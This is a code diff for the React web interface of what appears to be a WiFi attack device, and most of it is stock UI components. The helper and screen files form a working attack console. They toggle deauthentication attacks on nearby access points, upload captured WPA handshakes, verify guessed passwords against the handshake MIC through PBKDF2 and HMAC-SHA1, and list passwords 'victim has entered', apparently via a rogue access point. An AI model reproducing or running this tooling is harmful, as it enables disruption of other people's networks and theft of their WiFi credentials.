+ "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
+)
+
+const Label = React.forwardRef<
+ React.ElementRef<typeof LabelPrimitive.Root>,
+ React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &
+ VariantProps<typeof labelVariants>
+>(({ className, ...props }, ref) => (
+ <LabelPrimitive.Root
+ ref={ref}
+ className={cn(labelVariants(), className)}
+ {...props}
+ />
+))
+Label.displayName = LabelPrimitive.Root.displayName
+
+export { Label }
web/src/components/ui/select.tsx
@@ -0,0 +1,119 @@
+import * as React from "react"
+import * as SelectPrimitive from "@radix-ui/react-select"
+import { Check, ChevronDown } from "lucide-react"
+
+import { cn } from "@/lib/utils"
+
+const Select = SelectPrimitive.Root
+
+const SelectGroup = SelectPrimitive.Group
+
+const SelectValue = SelectPrimitive.Value
+
+const SelectTrigger = React.forwardRef<
+ React.ElementRef<typeof SelectPrimitive.Trigger>,
+ React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger>
+>(({ className, children, ...props }, ref) => (
+ <SelectPrimitive.Trigger
+ ref={ref}
+ className={cn(
+ "flex h-10 w-full items-center justify-between rounded-md border border-input bg-transparent px-3 py-2 text-sm placeholder:text-muted-foreground focus:outline-none disabled:cursor-not-allowed disabled:opacity-50",
+ className
+ )}
+ {...props}
+ >
+ {children}
+ <SelectPrimitive.Icon asChild>
+ <ChevronDown className="h-4 w-4 opacity-50" />
+ </SelectPrimitive.Icon>
+ </SelectPrimitive.Trigger>
+))
+SelectTrigger.displayName = SelectPrimitive.Trigger.displayName
+
+const SelectContent = React.forwardRef<
+ React.ElementRef<typeof SelectPrimitive.Content>,
+ React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>
+>(({ className, children, position = "popper", ...props }, ref) => (
+ <SelectPrimitive.Portal>
+ <SelectPrimitive.Content
+ ref={ref}
+ className={cn(
+ "relative z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
+ position === "popper" &&
+ "data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",
+ className
+ )}
+ position={position}
+ {...props}
+ >
+ <SelectPrimitive.Viewport
+ className={cn(
+ "p-1",
+ position === "popper" &&
+ "h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)]"
+ )}
+ >
+ {children}
+ </SelectPrimitive.Viewport>
+ </SelectPrimitive.Content>
+ </SelectPrimitive.Portal>
+))
+SelectContent.displayName = SelectPrimitive.Content.displayName
+
+const SelectLabel = React.forwardRef<
+ React.ElementRef<typeof SelectPrimitive.Label>,
+ React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>
+>(({ className, ...props }, ref) => (
+ <SelectPrimitive.Label
+ ref={ref}
+ className={cn("py-1.5 pl-8 pr-2 text-sm font-semibold", className)}
+ {...props}
+ />
+))
+SelectLabel.displayName = SelectPrimitive.Label.displayName
+
+const SelectItem = React.forwardRef<
+ React.ElementRef<typeof SelectPrimitive.Item>,
+ React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>
+>(({ className, children, ...props }, ref) => (
+ <SelectPrimitive.Item
+ ref={ref}
+ className={cn(
+ "relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
+ className
+ )}
+ {...props}
+ >
+ <span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
+ <SelectPrimitive.ItemIndicator>
+ <Check className="h-4 w-4" />
+ </SelectPrimitive.ItemIndicator>
+ </span>
+
+ <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>
+ </SelectPrimitive.Item>
+))
+SelectItem.displayName = SelectPrimitive.Item.displayName
+
+const SelectSeparator = React.forwardRef<
+ React.ElementRef<typeof SelectPrimitive.Separator>,
+ React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>
+>(({ className, ...props }, ref) => (
+ <SelectPrimitive.Separator
+ ref={ref}
+ className={cn("-mx-1 my-1 h-px bg-muted", className)}
+ {...props}
+ />
+))
+SelectSeparator.displayName = SelectPrimitive.Separator.displayName
+
+export {
+ Select,
+ SelectGroup,
+ SelectValue,
+ SelectTrigger,
+ SelectContent,
+ SelectLabel,
+ SelectItem,
+ SelectSeparator,
+}
web/src/components/ui/sheet.tsx
@@ -0,0 +1,142 @@
+import * as React from "react"
+import * as SheetPrimitive from "@radix-ui/react-dialog"
+import { cva, type VariantProps } from "class-variance-authority"
+import { X } from "lucide-react"
+
+import { cn } from "@/lib/utils"
+
+const Sheet = SheetPrimitive.Root
+
+const SheetTrigger = SheetPrimitive.Trigger
+
+const SheetClose = SheetPrimitive.Close
+
+const SheetPortal = ({
+ className,
+ ...props
+}: SheetPrimitive.DialogPortalProps) => (
+ <SheetPrimitive.Portal className={cn(className)} {...props} />
+)
+SheetPortal.displayName = SheetPrimitive.Portal.displayName
+
+const SheetOverlay = React.forwardRef<
+ React.ElementRef<typeof SheetPrimitive.Overlay>,
+ React.ComponentPropsWithoutRef<typeof SheetPrimitive.Overlay>
+>(({ className, ...props }, ref) => (
+ <SheetPrimitive.Overlay
+ className={cn(
+ "fixed inset-0 z-50 bg-background/80 backdrop-blur-sm data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
+ className
+ )}
+ {...props}
+ ref={ref}
+ />
+))
+SheetOverlay.displayName = SheetPrimitive.Overlay.displayName
+
+const sheetVariants = cva(
+ "fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500",
+ {
+ variants: {
+ side: {
+ top: "inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top",
+ bottom:
+ "inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom",
+ left: "inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm",
+ right:
+ "inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm",
+ },
+ },
+ defaultVariants: {
+ side: "right",
+ },
+ }
+)
+
+interface SheetContentProps
+ extends React.ComponentPropsWithoutRef<typeof SheetPrimitive.Content>,
+ VariantProps<typeof sheetVariants> {}
+
+const SheetContent = React.forwardRef<
+ React.ElementRef<typeof SheetPrimitive.Content>,
+ SheetContentProps
+>(({ side = "right", className, children, ...props }, ref) => (
+ <SheetPortal>
+ <SheetOverlay />
+ <SheetPrimitive.Content
+ ref={ref}
+ className={cn(sheetVariants({ side }), className)}
+ {...props}
+ >
+ {children}
+ <SheetPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary">
+ <X className="h-4 w-4" />
+ <span className="sr-only">Close</span>
+ </SheetPrimitive.Close>
+ </SheetPrimitive.Content>
+ </SheetPortal>
+))
+SheetContent.displayName = SheetPrimitive.Content.displayName
+
+const SheetHeader = ({
+ className,
+ ...props
+}: React.HTMLAttributes<HTMLDivElement>) => (
+ <div
+ className={cn(
+ "flex flex-col space-y-2 text-center sm:text-left",
+ className
+ )}
+ {...props}
+ />
+)
+SheetHeader.displayName = "SheetHeader"
+
+const SheetFooter = ({
+ className,
+ ...props
+}: React.HTMLAttributes<HTMLDivElement>) => (
+ <div
+ className={cn(
+ "flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
+ className
+ )}
+ {...props}
+ />
+)
+SheetFooter.displayName = "SheetFooter"
+
+const SheetTitle = React.forwardRef<
+ React.ElementRef<typeof SheetPrimitive.Title>,
+ React.ComponentPropsWithoutRef<typeof SheetPrimitive.Title>
+>(({ className, ...props }, ref) => (
+ <SheetPrimitive.Title
+ ref={ref}
+ className={cn("text-lg font-semibold text-foreground", className)}
+ {...props}
+ />
+))
+SheetTitle.displayName = SheetPrimitive.Title.displayName
+
+const SheetDescription = React.forwardRef<
+ React.ElementRef<typeof SheetPrimitive.Description>,
+ React.ComponentPropsWithoutRef<typeof SheetPrimitive.Description>
+>(({ className, ...props }, ref) => (
+ <SheetPrimitive.Description
+ ref={ref}
+ className={cn("text-sm text-muted-foreground", className)}
+ {...props}
+ />
+))
+SheetDescription.displayName = SheetPrimitive.Description.displayName
+
+export {
+ Sheet,
+ SheetTrigger,
+ SheetClose,
+ SheetContent,
+ SheetHeader,
+ SheetFooter,
+ SheetTitle,
+ SheetDescription,
+}
web/src/components/ui/signal-bar.tsx
@@ -0,0 +1,55 @@
+const SignalBar = (props: { signal: number }) => {
+ const { signal } = props
+ if (signal < 0 && signal > -35) {
+ return (
+ <div className="flex h-7 w-10 items-end justify-center self-center">
+ <div className=" inline-block w-1/5 border border-gray-600 h-[20%] bg-[#16a085] "></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[40%] bg-[#16a085] "></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[60%] bg-[#16a085] "></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[80%] bg-[#16a085] "></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[99%] bg-[#16a085] "></div>
+ </div>
+ )
+ } else if (signal < -35 && signal > -50) {
+ return (
+ <div className="flex h-7 w-10 items-end justify-center self-center">
+ <div className=" inline-block w-1/5 border border-gray-600 h-[20%] bg-[#16a085]"></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[40%] bg-[#16a085]"></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[60%] bg-[#16a085]"></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[80%] bg-[#16a085]"></div>
+ <div className=" inline-block w-1/5 border border-gray-600 h-[99%]"></div>
+ </div>
+ )
+ } else if (signal < -50 && signal > -60) {
+ return (
+ <div className="flex h-7 w-10 items-end justify-center self-center">
+ <div className="inline-block w-1/5 border border-gray-600 h-[20%] bg-yellow-300/80"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[40%] bg-yellow-300/80"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[60%] bg-yellow-300/80"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[80%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[99%]"></div>
+ </div>
+ )
+ } else if (signal < -60 && signal > -75) {
+ return (
+ <div className="flex h-7 w-10 items-end justify-center self-center">
+ <div className="inline-block w-1/5 border border-gray-600 h-[20%] bg-[#e74c3c]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[40%] bg-[#e74c3c]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[60%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[80%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[99%]"></div>
+ </div>
+ )
+ } else {
+ return (
+ <div className="flex h-7 w-10 items-end justify-center self-center">
+ <div className="inline-block w-1/5 border border-gray-600 h-[20%] bg-[#e74c3c]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[40%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[60%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[80%]"></div>
+ <div className="inline-block w-1/5 border border-gray-600 h-[99%]"></div>
+ </div>
+ )
+ }
+}
+export default SignalBar
web/src/components/ui/switch.tsx
@@ -0,0 +1,27 @@
+import * as React from "react"
+import * as SwitchPrimitives from "@radix-ui/react-switch"
+
+import { cn } from "@/lib/utils"
+
+const Switch = React.forwardRef<
+ React.ElementRef<typeof SwitchPrimitives.Root>,
+ React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root>
+>(({ className, ...props }, ref) => (
+ <SwitchPrimitives.Root
+ className={cn(
+ "peer inline-flex h-[24px] w-[44px] shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",
+ className
+ )}
+ {...props}
+ ref={ref}
+ >
+ <SwitchPrimitives.Thumb
+ className={cn(
+ "pointer-events-none block h-3 w-3 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-4 data-[state=unchecked]:translate-x-0"
+ )}
+ />
+ </SwitchPrimitives.Root>
+))
+Switch.displayName = SwitchPrimitives.Root.displayName
+
+export { Switch }
web/src/components/ui/table.tsx
@@ -0,0 +1,114 @@
+import * as React from "react"
+
+import { cn } from "@/lib/utils"
+
+const Table = React.forwardRef<
+ HTMLTableElement,
+ React.HTMLAttributes<HTMLTableElement>
+>(({ className, ...props }, ref) => (
+ <div className="w-full overflow-auto">
+ <table
+ ref={ref}
+ className={cn("w-full caption-bottom text-sm", className)}
+ {...props}
+ />
+ </div>
+))
+Table.displayName = "Table"
+
+const TableHeader = React.forwardRef<
+ HTMLTableSectionElement,
+ React.HTMLAttributes<HTMLTableSectionElement>
+>(({ className, ...props }, ref) => (
+ <thead ref={ref} className={cn("[&_tr]:border-b", className)} {...props} />
+))
+TableHeader.displayName = "TableHeader"
+
+const TableBody = React.forwardRef<
+ HTMLTableSectionElement,
+ React.HTMLAttributes<HTMLTableSectionElement>
+>(({ className, ...props }, ref) => (
+ <tbody
+ ref={ref}
+ className={cn("[&_tr:last-child]:border-0", className)}
+ {...props}
+ />
+))
+TableBody.displayName = "TableBody"
+
+const TableFooter = React.forwardRef<
+ HTMLTableSectionElement,
+ React.HTMLAttributes<HTMLTableSectionElement>
+>(({ className, ...props }, ref) => (
+ <tfoot
+ ref={ref}
+ className={cn("bg-primary font-medium text-primary-foreground", className)}
+ {...props}
+ />
+))
+TableFooter.displayName = "TableFooter"
+
+const TableRow = React.forwardRef<
+ HTMLTableRowElement,
+ React.HTMLAttributes<HTMLTableRowElement>
+>(({ className, ...props }, ref) => (
+ <tr
+ ref={ref}
+ className={cn(
+ "border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",
+ className
+ )}
+ {...props}
+ />
+))
+TableRow.displayName = "TableRow"
+
+const TableHead = React.forwardRef<
+ HTMLTableCellElement,
+ React.ThHTMLAttributes<HTMLTableCellElement>
+>(({ className, ...props }, ref) => (
+ <th
+ ref={ref}
+ className={cn(
+ "h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",
+ className
+ )}
+ {...props}
+ />
+))
+TableHead.displayName = "TableHead"
+
+const TableCell = React.forwardRef<
+ HTMLTableCellElement,
+ React.TdHTMLAttributes<HTMLTableCellElement>
+>(({ className, ...props }, ref) => (
+ <td
+ ref={ref}
+ className={cn("p-4 align-middle [&:has([role=checkbox])]:pr-0", className)}
+ {...props}
+ />
+))
+TableCell.displayName = "TableCell"
+
+const TableCaption = React.forwardRef<
+ HTMLTableCaptionElement,
+ React.HTMLAttributes<HTMLTableCaptionElement>
+>(({ className, ...props }, ref) => (
+ <caption
+ ref={ref}
+ className={cn("mt-4 text-sm text-muted-foreground", className)}
+ {...props}
+ />
+))
+TableCaption.displayName = "TableCaption"
+
+export {
+ Table,
+ TableHeader,
+ TableBody,
+ TableFooter,
+ TableHead,
+ TableRow,
+ TableCell,
+ TableCaption,
+}
web/src/lib/config.ts
@@ -0,0 +1,49 @@
+enum encryption {
+ WPA = "WPA",
+ WPA2 = "WPA2",
+ AUTO = "AUTO",
+ UNKNOWN = "UNKNOWN",
+}
+
+type password = {
+ password: string
+ valid: boolean
+}
+
+type handshake = {
+ ssid: string
+ bssid: string
+ snonce: string
+ anonce: string
+ srcAddress: string
+ dstAddress: string
+ mic: string
+ eapolFrameBytes: string
+}
+
+type network = {
+ ssid: string
+ bssid: string
+ signal: number
+ channel: number
+ encryption: encryption
+ deauthState: boolean
+ handshake: boolean
+ handshakeData: handshake[]
+ password: password[]
+}
+
+const notifyStyle = {
+ style: {
+ border: "1px solid #77AADD",
+ padding: "16px",
+ color: "#77AADD",
+ background: "rgb(30 41 59)",
+ fontFamily: "Roboto",
+ fontSize: "14px",
+ fontWeight: "bold",
+ },
+}
+
+export type { network, password, handshake }
+export { notifyStyle, encryption }
web/src/lib/utils.ts
@@ -0,0 +1,6 @@
+import { clsx, type ClassValue } from "clsx"
+import { twMerge } from "tailwind-merge"
+
+export function cn(...inputs: ClassValue[]) {
+ return twMerge(clsx(inputs))
+}
web/src/screens/helper.ts
@@ -0,0 +1,214 @@
+import { handshake, network, notifyStyle } from "@/lib/config"
+import { toast } from "react-hot-toast"
+import CryptoJS from "crypto-js"
+
+interface CapFile {
+ extractPmkFields(): any
+}
+
+declare var CapFile: {
+ new (data: ArrayBuffer, isPcap: boolean): CapFile
+}
+
+const deauth = async (state: boolean, apNo: number) => {
+ if (!state) {
+ const request = fetch("/stop_deauth").then((response) => response.json())
+ toast.promise(
+ request,
+ {
+ loading: "Stopping Deauth...",
+ success: "Deauth Stopped",
+ error: (err) => err.message,
+ },
+ notifyStyle
+ )
+ return false
+ } else {
+ const request = fetch("/deauth?ap=" + apNo)
+ .then((response) => {
+ return response.json()
+ })
+ .then((data) => {
+ if (data.status == "error") {
+ throw new Error(data.message)
+ }
+ return data
+ })
+ toast.promise(
+ request,
+ {
+ loading: "Deauthing...",
+ success: (data) => data.message,
+ error: (err) => err.message,
+ },
+ notifyStyle
+ )
+
+ try {
+ await request
+ } catch (err) {
+ return false
+ }
+
+ return true
+ }
+}
+
+const handleHandshakeFile = (e: React.ChangeEvent<HTMLInputElement>) => {
+ if (e.target.files?.length === 0) return
+ const file = e.target.files?.[0]
+ if (file) {
+ var extension = file.name.split(".").pop()?.toLowerCase()
+ if (extension != "cap" && extension != "pcap") {
+ toast.error("Please upload a .cap or .pacp file", notifyStyle)
+ e.target.value = ""
+ e.target.files = null
+ return
+ }
+ }
+}
+
+const handleUpload = () => {
+ const handshakeFile = (document.getElementById("handshake-file") as HTMLInputElement).files?.[0]
+ if (handshakeFile) {
+ let reader = new FileReader()
+ reader.onload = async (e) => {
+ const result = e.target!.result as ArrayBuffer
+ try {
+ let cap = new CapFile(result, false)
+ let handshake = cap.extractPmkFields()
+ delete handshake.bssid
+ delete handshake.keyDescriptorVersion
+ delete handshake.keyLength
+ let res = await fetch("/post_handshake", {
+ method: "POST",
+ body: JSON.stringify(handshake),
+ })
+ if (res.status == 200) {
+ toast.success("Handshake uploaded successfully", notifyStyle)
+ } else {
+ toast.error("Handshake upload failed", notifyStyle)
+ }
+ } catch (err) {
+ console.log(err)
+ toast.error("Please upload a valid handshake file", notifyStyle)
+ }
+ }
+ reader.readAsBinaryString(handshakeFile)
+ } else {
+ toast.error("Please select a handshake file", notifyStyle)
+ }
+}
+
+const handleSSID = () => {
+ const ssid = (document.getElementById("ssid-change") as HTMLInputElement).value
+ if (ssid.length === 0) return
+ if (!confirm("Warning: \nChanging the SSID will restart the device. Do you want to continue?"))
+ return
+ let formData = new FormData()
+ formData.append("ssid", ssid)
+ fetch("/post_ssid", { method: "POST", body: formData })
+ let message = toast.loading(
+ "SSID will be changed in a few seconds. Please switch to the new network.",
+ notifyStyle
+ )
+ setTimeout(() => {
+ toast.dismiss(message)
+ window.location.reload()
+ }, 10000)
+}
+
+const handleReset = async (x: "handshake" | "password") => {
+ if (x == "password") {
+ if (!confirm("Warning: \nDo you want to clear all the passwords?")) return
+ toast.promise(
+ fetch("/clear_passwords"),
+ {
+ loading: "Clearing Passwords...",
+ success: "Passwords Cleared",
+ error: (err) => err.message,
+ },
+ notifyStyle
+ )
+ }
+ if (x == "handshake") {
+ if (!confirm("Warning: \nDo you want to clear all the handshakes?")) return
+ toast.promise(
+ fetch("/clear_handshakes"),
+ {
+ loading: "Clearing Handshakes...",
+ success: "Handshakes Cleared",
+ error: (err) => err.message,
+ },
+ notifyStyle
+ )
+ }
+}
+
+function kckFromPmk(srcAddress: string, dstAddress: string, anonce: string, snonce: string) {
+ let prefix = "5061697277697365206b657920657870616e73696f6e00"
+ if (srcAddress < dstAddress) {
+ prefix += srcAddress
+ prefix += dstAddress
+ } else {
+ prefix += dstAddress
+ prefix += srcAddress
+ }
+ if (snonce < anonce) {
+ prefix += snonce
+ prefix += anonce
+ } else {
+ prefix += anonce
+ prefix += snonce
+ }
+ prefix += "00"
+ return prefix
+}
+
+function crackPassword(network: handshake, password: string) {
+ const pmk = CryptoJS.PBKDF2(password, network.ssid, { keySize: 8, iterations: 4096 })
+ const kck_pmk = kckFromPmk(network.srcAddress, network.dstAddress, network.anonce, network.snonce)
+ const prefix = CryptoJS.enc.Hex.parse(kck_pmk)
+ const hmac = CryptoJS.HmacSHA1(prefix, pmk).toString()
+ let kck = hmac.substring(0, 32)
+ const bytes = CryptoJS.enc.Hex.parse(network.eapolFrameBytes)
+ let newkck = CryptoJS.enc.Hex.parse(kck)
+ const computedMic = CryptoJS.HmacSHA1(bytes, newkck).toString().substring(0, 32)
+ console.log("network", network.ssid)
+ console.log("Expected MIC :", network.mic)
+ console.log("Calculated MIC :", computedMic)
+ if (computedMic === network.mic) {
+ return true
+ } else {
+ return false
+ }
+}
+
+const validatePassword = (password: string, network: network) => {
+ if (network == undefined) {
+ toast.error("Please select a network", notifyStyle)
+ return false
+ }
+ if (password.length < 8) {
+ toast.error("Password must be at least 8 characters long", notifyStyle)
+ return false
+ }
+ network.handshakeData.forEach((handshake) => {
+ if (handshake.ssid !== network.ssid) return
+ if (crackPassword(handshake, password)) {
+ toast.success("Password is valid for " + handshake.ssid, notifyStyle)
+ } else {
+ toast.error("Password is not valid for " + handshake.ssid, notifyStyle)
+ }
+ })
+}
+
+export {
+ deauth,
+ handleSSID,
+ handleHandshakeFile,
+ handleUpload,
+ handleReset,
+ validatePassword,
+ crackPassword,
+}
web/src/screens/NetworkScreen.tsx
@@ -0,0 +1,142 @@
+import { DataTable } from "@/components/ui/data-table"
+import { network } from "@/lib/config"
+import { ColumnDef } from "@tanstack/react-table"
+import { Switch } from "@/components/ui/switch"
+import SignalBar from "@/components/ui/signal-bar"
+import { deauth } from "./helper"
+import { useState } from "react"
+import {
+ Sheet,
+ SheetContent,
+ SheetDescription,
+ SheetHeader,
+ SheetTitle,
+ SheetTrigger,
+} from "@/components/ui/sheet"
+import { Button } from "@/components/ui/button"
+
+const DesktopTable: ColumnDef<network>[] = [
+ {
+ accessorKey: "bssid",
+ header: "Wifi Networks",
+ cell: ({ row }) => {
+ return (
+ <div className="flex flex-col gap-1">
+ <div className="text-md font-medium">{row.original.ssid}</div>
+ <div className="text-sm">{row.original.bssid}</div>
+ </div>
+ )
+ },
+ },
+ {
+ accessorKey: "encryption",
+ header: "Encryption",
+ cell: ({ row }) => <div className="flex justify-center">{row.original.encryption}</div>,
+ },
+ {
+ accessorKey: "signal",
+ header: "Signal",
+ cell: ({ row }) => {
+ return <SignalBar signal={row.original.signal} />
+ },
+ },
+ {
+ accessorKey: "handshake",
+ header: "Handshake",
+ cell: ({ row }) => (
+ <div className="flex justify-center">{row.original.handshake ? "Yes" : "No"}</div>
+ ),
+ },
+ {
+ accessorKey: "deauthState",
+ header: "Deauth",
+ cell: ({ row }) => {
+ const [deauthState, setDeauthState] = useState(row.original.deauthState)
+ return (
+ <div className="flex justify-center space-x-2">
+ <Switch
+ id="deauth-mode"
+ className="w-8 h-4"
+ defaultChecked={deauthState}
+ checked={deauthState}
+ onCheckedChange={async (e) => {
+ setDeauthState(true);
+ setDeauthState(await deauth(e, row.index + 1))
+ }}
+ />
+ </div>
+ )
+ },
+ },
+ {
+ accessorKey: "password",
+ header: "Password",
+ cell: ({ row }) => {
+ return (
+ <Sheet>
+ <SheetTrigger asChild>
+ <Button variant="link">Veiw</Button>
+ </SheetTrigger>
+ <SheetContent>
+ <SheetHeader>
+ <SheetTitle>Password List - {row.original.ssid}</SheetTitle>
+ <SheetDescription>List of all the passwords victim has entered</SheetDescription>
+ </SheetHeader>
+ <div className="flex flex-col mt-5 gap-2">
+ {row.original.password.length > 0
+ ? row.original.password.map((password, index) => {
+ return (
+ <div
+ key={index}
+ className="flex break-all overflow-clip justify-start text-md font-medium gap-2"
+ >
+ {index +
+ 1 +
+ ". " +
+ password.password +
+ " - " +
+ (password.valid ? "Valid" : "Invalid")}
+ </div>
+ )
+ })
+ : "No Passwords Found"}
+ </div>
+ </SheetContent>
+ </Sheet>
+ )
+ },
+ },
+]
+
+const MobileTable: ColumnDef<network>[] = [
+ DesktopTable[0],
+ {
+ accessorKey: "Details",
+ header: "Details",
+ cell: ({ row }) => {
+ return (
+ <div className="flex flex-col gap-1 items-center">
+ <SignalBar signal={row.original.signal} />
+ <div className="text-xs">{row.original.encryption}</div>
+ </div>
+ )
+ },
+ },
+ DesktopTable[4],
+ DesktopTable[5],
+]
+
+const NetworkScreen = ({ networks }: { networks: network[] }) => {
+ return (
+ <>
+ <div className="container mx-auto py-5 hidden md:block">
+ <DataTable columns={DesktopTable} data={networks} />
+ </div>
+ <div className="container mx-auto py-5 md:hidden">
+ <DataTable columns={MobileTable} data={networks} />
+ </div>
+ </>
+ )
+}
+
+export default NetworkScreen
web/src/screens/SetupScreen.tsx
@@ -0,0 +1,125 @@
+import { Button } from "@/components/ui/button"
+import { Input } from "@/components/ui/input"
+import { Label } from "@/components/ui/label"
+import {
+ Select,
+ SelectContent,
+ SelectItem,
+ SelectTrigger,
+ SelectValue,
+} from "@/components/ui/select"
+import { network } from "@/lib/config"
+import { useState } from "react"
+import { handleHandshakeFile, handleReset, handleSSID, handleUpload, validatePassword } from "./helper"
+
+const SetupScreen = ({ networks }: { networks: network[] }) => {
+ const [selectedNetwork, setSelectedNetwork] = useState<network>()
+ const [selectedPassword, setSelectedPassword] = useState("")
+ const networksWithHandshake = networks.filter((network) => network.handshake)
+ return (
+ <div className="w-[300px] sm:w-[500px] md:w-[600px] p-5 border border-gray-700 rounded-lg items-center justify-center mt-3">
+ <Label htmlFor="ssid-change">SSID</Label>
+ <div className="flex flex-col w-full items-center justify-between sm:flex-row gap-2 mt-1">
+ <Input
+ className="w-full md:max-w-md"
+ type="text"
+ id="ssid-change"
+ placeholder="Change SSID"
+ />
+ <Button variant={"outline"} className="w-full sm:w-fit" onClick={handleSSID}>
+ Change
+ </Button>
+ </div>
+ <div className="mt-7">
+ <Label htmlFor="handshake-file">Handshake</Label>
+ <div className="flex flex-col w-full items-center justify-between sm:flex-row gap-2">
+ <Input
+ id="handshake-file"
+ type="file"
+ className="mt-1 w-full md:max-w-md cursor-pointer "
+ onChange={handleHandshakeFile}
+ accept=".cap,.pcap"
+ />
+ <Button variant={"outline"} className="w-full sm:w-fit" onClick={handleUpload}>
+ Upload
+ </Button>
+ </div>
+ </div>
+
+ <div className="mt-7">
+ <Label htmlFor="password-validation">Password Validation</Label>
+ <p className="text-sm text-gray-400">(Only SSID with Handshake can be validated)</p>
+ <div className="flex flex-col w-full items-center justify-between sm:flex-row gap-2 mt-3">
+ <Select disabled={networksWithHandshake.length === 0}
+ onValueChange={(value) =>
+ setSelectedNetwork(networks.find((network) => network.ssid === value)!)
+ }
+ >
+ <SelectTrigger className="mt-1 w-full md:max-w-[200px]">
+ <SelectValue placeholder={networksWithHandshake.length > 0 ? "Select SSID" : "No SSID with Handshake"} />
+ </SelectTrigger>
+ <SelectContent>
+ {networksWithHandshake.map((network) => (
+ <SelectItem key={network.ssid} value={network.ssid}>
+ {network.ssid}
+ </SelectItem>
+ ))}
+ </SelectContent>
+ </Select>
+ <Input
+ id="password-validation"
+ type="text"
+ className="mt-1 w-full md:max-w-md"
+ onChange={(e) => setSelectedPassword(e.target.value)}
+ disabled={networksWithHandshake.length === 0}
+ />
+ <Button
+ variant={"outline"}
+ className="w-full sm:w-fit"
+ onClick={() => validatePassword(selectedPassword, selectedNetwork!)}
+ disabled={networksWithHandshake.length === 0}
+ >
+ Validate
+ </Button>
+ </div>
+ </div>
+
+ <div className="flex flex-col gap-5 mt-5 border rounded-lg border-opacity-25 p-3">
+ <label className="text-white text-lg font-semibold">Danger Zone :</label>
+ <div className="flex gap-3 flex-col md:flex-row md:items-center ">
+ <span className="hidden sm:block md:w-3/5 ">
+ <label className="text-white text-md font-semibold">Reset handshakes</label>
+ <p className="text-white text-sm">
+ This will delete all the handshakes stored in the device.
+ </p>
+ </span>
+ <Button
+ variant="destructive"
+ className="w-full md:w-2/5"
+ onClick={() => handleReset("handshake")}
+ >
+ Reset Handshakes
+ </Button>
+ </div>
+
+ <div className="flex gap-3 flex-col md:flex-row md:items-center">
+ <span className="hidden sm:block md:w-3/5">
+ <label className="text-white text-md font-semibold">Reset Passwords</label>
+ <p className="text-white text-sm">
+ This will delete all the passwords stored in the device.
+ </p>
+ </span>
+ <Button
+ variant="destructive"
+ className="w-full md:w-2/5"
+ onClick={() => handleReset("password")}
+ >
+ Reset Passwords
+ </Button>
+ </div>
+ </div>
+ </div>
+ )
+}
+
+export default SetupScreen
web/src/App.tsx
@@ -0,0 +1,195 @@
+import { useEffect, useRef, useState } from "react"
+import { Toaster, toast } from "react-hot-toast"
+import { network, encryption, password, notifyStyle, handshake } from "./lib/config"
